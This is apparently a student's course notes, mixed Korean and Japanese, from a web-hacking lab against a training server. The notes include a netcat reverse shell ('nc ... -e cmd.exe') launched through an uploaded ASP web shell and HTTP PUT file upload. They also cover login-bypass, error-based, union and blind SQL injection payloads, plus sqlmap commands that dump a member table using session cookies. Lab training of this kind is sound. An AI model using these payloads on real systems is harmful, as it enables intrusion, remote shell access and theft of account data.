ネットワークトレーニング37日目(2022.02.24)


Web Shell
1. 챕터2 게시판 webshell.asp 파일 클릭
2. 윈도우 보안 해제

3. 시스템 보안 폴더 utils-netcat 압축해제

4. cmd 로 nc경로 설정

5. webshell에서 nc파일 업로드 경로 실행

6. cmd에서 nc -l -p 1234 포트 

7. C:\wwwroot\lecture\chapter1\upload\upload\upload\upload\nc 아이피주소 1234(포트) -e cmd.exe

8. 리버스터미널 실행 완료

http메소드 확인
nc.exe 아이피주소 80(포트)
OPTIONS / HTTP/1.1
host: 아이피 주소
メソッド攻撃
nc.exe 아이피주소 80(포트)
PUT /chapter1/upload/test3.html HTTP/1.1
host: 아이피 주소
content-length: 20
test lalallallalaa

sql注入
1. Form/bypass sql injection
method = post
name = 변수
id ,pwd 변수에 로그인 하는 사용자의 id, password 를 받는다.

http://아이피주소/member/login_ok.asp?id=아이디&pwd=비밀번호

m_id ='"&' or 1=1==&"' and m_pwd='"&아무거나&"' -----> 로그인됨	

mssql,oracle --
mysql,mariadb #
'or 1=1#

2. error sql injection
보통의 web 사이트에서 아래와 같은 메시지는 통일된 에러페이지로 통합하여 접근할 수 없도록 함.

[입력]
' having 1=1--

[결과]
Microsoft OLE DB Provider for SQL Server error '80040e14'

'member.m_idx' 열이 집계 함수에 없고 GROUP BY 절이 없으므로 SELECT 목록에서 사용할 수 없습니다.

/member/login_ok.asp, line 8

이를 통해서 member 테이블에 m_idx 하는 필드가 존재한다라는 것을 알수 있다.

where having 
필드와 필드를 묶어서 조건을 넣기 위해 만든 절

having 절 같은경우 아래와 같이 GROUP BY 절이 함께한다.

SELECT b.dname, COUNT(a.empno) "사원수" FROM emp a, dept b, WHERE a.deptno = b.deptno
GROUP BY dname HAVING COUNT(a.empno) > 5;


select m_idx, m_id, m_name from member where m_id='"&id&"' and m_pwd='"&pwd&"'

     요청			 	           결과
' having 1=1--			     'member.m_idx'
' group by m_idx--			 'member.m_id'
' group by m_idx,m_id--		 'member.m_name'9
' group by m_idx,m_id,m_name--
[質問]
1章の検索ウィンドウはエラーsql注入のようです.
上図に示すように、第1章の表情報と検索ウィンドウselectフィールドを選択します.
    [요청]								    [결과]
' having 1=1--							chapter1.idx
' group by chapter1.idx--				chapter1.level_idx
' group by ~,chapter1.level_idx--		chapter1.ref_idx
' group by ~,chapter1.ref_idx--			chapter1.title
' group by ~,chapter1.title--			chapter1.name
' group by ~,chapter1.name-- 	    	chapter1.wtday
' group by ~,chapter1.wtday-- 	        chapter1.hitcnt
' group by ~,chapter1.hitcnt--

3. ' union select
가계부 database
1월 ~ 12월
날짜 수입 지출 내역 비교
보통의 경우, 
select from 1월 where 조건;
....
select from 12월 where 조건;
3-1. union select文
1. 필드의 길이가 같아야 한다.
2. 필드의 데이터 타입이 같아야 한다.

member 테이블의 데이터 형식을 맞추고, 3개의 필드를 적절한 위치에 적용하여 나머지 부분은 무의미한 문자로 채움

'union select null,null,null,null,null,null,null from member--
'union select 0,null,null,null,null,null,null from member--
'union select null,0,null,m_id,null,null,null from member--  <---  	m_idx, m_id, m_name, m_pwd

4. blind sql injection
error sql injection이 서버의 http status에 대한 에러 처리 설정을 했을 경우,
즉각적인 에러 정보를 볼 수 없을 때, 우회를 하기 위한 공격

' and 1=1--
' and 1=2--
----------------------참과 거짓을 표기하는 쿼리가 반응X--------------------
http://192.168.30.252/chapter4/view.asp?page=1' and 1=1--&idx=14&w=&k=
http://192.168.30.252/chapter4/view.asp?page=1' and 1=2--&idx=14&w=&k=

----------------------참과 거짓을 표기하는 쿼리가 반응O-----------------------
http://192.168.30.252/chapter4/view.asp?page=1&idx=14' and 1=1-- &w=&k=
http://192.168.30.252/chapter4/view.asp?page=1&idx=14' and 1=2-- &w=&k=

----------------------참과 거짓을 표기하는 쿼리가 반응X--------------------
http://192.168.30.252/chapter4/view.asp?page=1&idx=14&w' and 1=1--=&k=
http://192.168.30.252/chapter4/view.asp?page=1&idx=14&w' and 1=2--=&k=

----------------------참과 거짓을 표기하는 쿼리가 반응X--------------------
http://192.168.30.252/chapter4/view.asp?page=1&idx=14&w=&k' and 1=1--=
http://192.168.30.252/chapter4/view.asp?page=1&idx=14&w=&k' and 1=2--=

ASCIIコードを使用したデータベース名の検索
https://ko.wikipedia.org/wiki/ASCII
xx="Provider=sqloledb;Data Source=localhost; Initial Catalog=lecture; User ID=lecture; Password=lecture;"
DB이름 : lecture
db_name() = lecture
	l -> ascii(108) -> isnull 비교 > 107

97부터 시작
' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,1)),0) > 107-- (참)
' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,1)),0) > 108-- (거짓)
' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),2,1)),0) > 108-- (거짓)


http://192.168.30.252/chapter4/view.asp?page=1&idx=14' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,1)),0) > 107--&w=&k=
http://192.168.30.252/chapter4/view.asp?page=1&idx=14' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,1)),0) > 108--&w=&k=
http://192.168.30.252/chapter4/view.asp?page=1&idx=14' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),2,1)),0) > 108--&w=&k=

http://192.168.30.252/chapter4/view.asp?page=1&idx=14' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),2,1)),0) > 101--&w=&k=

sqlmapを用いたブラインドsql注入
http://192.168.30.252/chapter4/view.asp?page=1&idx=14	공격벡터

ASPSESSIONIDSCSABASA=DLKLFLMCOILAANPJCHBNJFFG	쿠키
  • 0. ユーザー情報
  • について
    sqlmap -u "http://192.168.30.252/chapter4/view.asp?page=1&idx=14" --cookie="ASPSESSIONIDCSSSBSDR=DJIFLCKDCNDALMJDMGIKLEPL" -p "idx" --level=3 --current-user 
  • 1. チェックリスト
  • sqlmap -u "http://192.168.30.252/chapter4/view.asp?page=1&idx=14" --cookie="ASPSESSIONIDCSSSBSDR=DJIFLCKDCNDALMJDMGIKLEPL" --dbs

    2.テーブル情報の取得
    sqlmap -u url -D(Database) --tables
    sqlmap -u "http://192.168.30.252/chapter4/view.asp?page=1&idx=14" --cookie="ASPSESSIONIDCSSSBSDR=DJIFLCKDCNDALMJDMGIKLEPL" -D "lecture" --tables
    

    3.表欄情報抽出
    sqlmap -u url -T(Table) --column
    sqlmap -u "http://192.168.30.252/chapter4/view.asp?page=1&idx=14" --cookie="ASPSESSIONIDCSSSBSDR=DJIFLCKDCNDALMJDMGIKLEPL" -T "lecture" -T member --column

    4.データベース・アカウント情報の抽出
    sqlmap -u url -C(Column) --dump
    sqlmap -u "http://192.168.30.252/chapter4/view.asp?page=1&idx=14" --cookie="ASPSESSIONIDCSSSBSDR=DJIFLCKDCNDALMJDMGIKLEPL" -T "lecture" -T member --column -C m_name --dump

    5.
    sqlmap -u "http://192.168.30.252/chapter4/view.asp?page=1&idx=14" --cookie="ASPSESSIONIDCSSSBSDR=DJIFLCKDCNDALMJDMGIKLEPL" -D -T --dump
    HTTPステータスコードhttps://ko.wikipedia.org/wiki/HTTP_%EC%83%81%ED%83%9C_%EC%BD%94%EB%93%9C
    1 xx:条件応答
    2 xx:成功
    3 xx:リダイレクト完了
    4 xx:要求エラー
    3 xx 4 xxによる冗長情報
    iis apache nginx tomcatのようなWebサーバは、httpステータスコードを構成中にエラー処理することができる.
    Webサーバ=サービスから独立したオブジェクト
    WAS=Webアプリケーションにはサービスオブジェクト、ダッシュボードが必要
    バージョン別にApache、nginxなどを選択
    Webアプリケーション(asp、jsp、phpなど)をバージョン別に選択
    dbバージョンで選択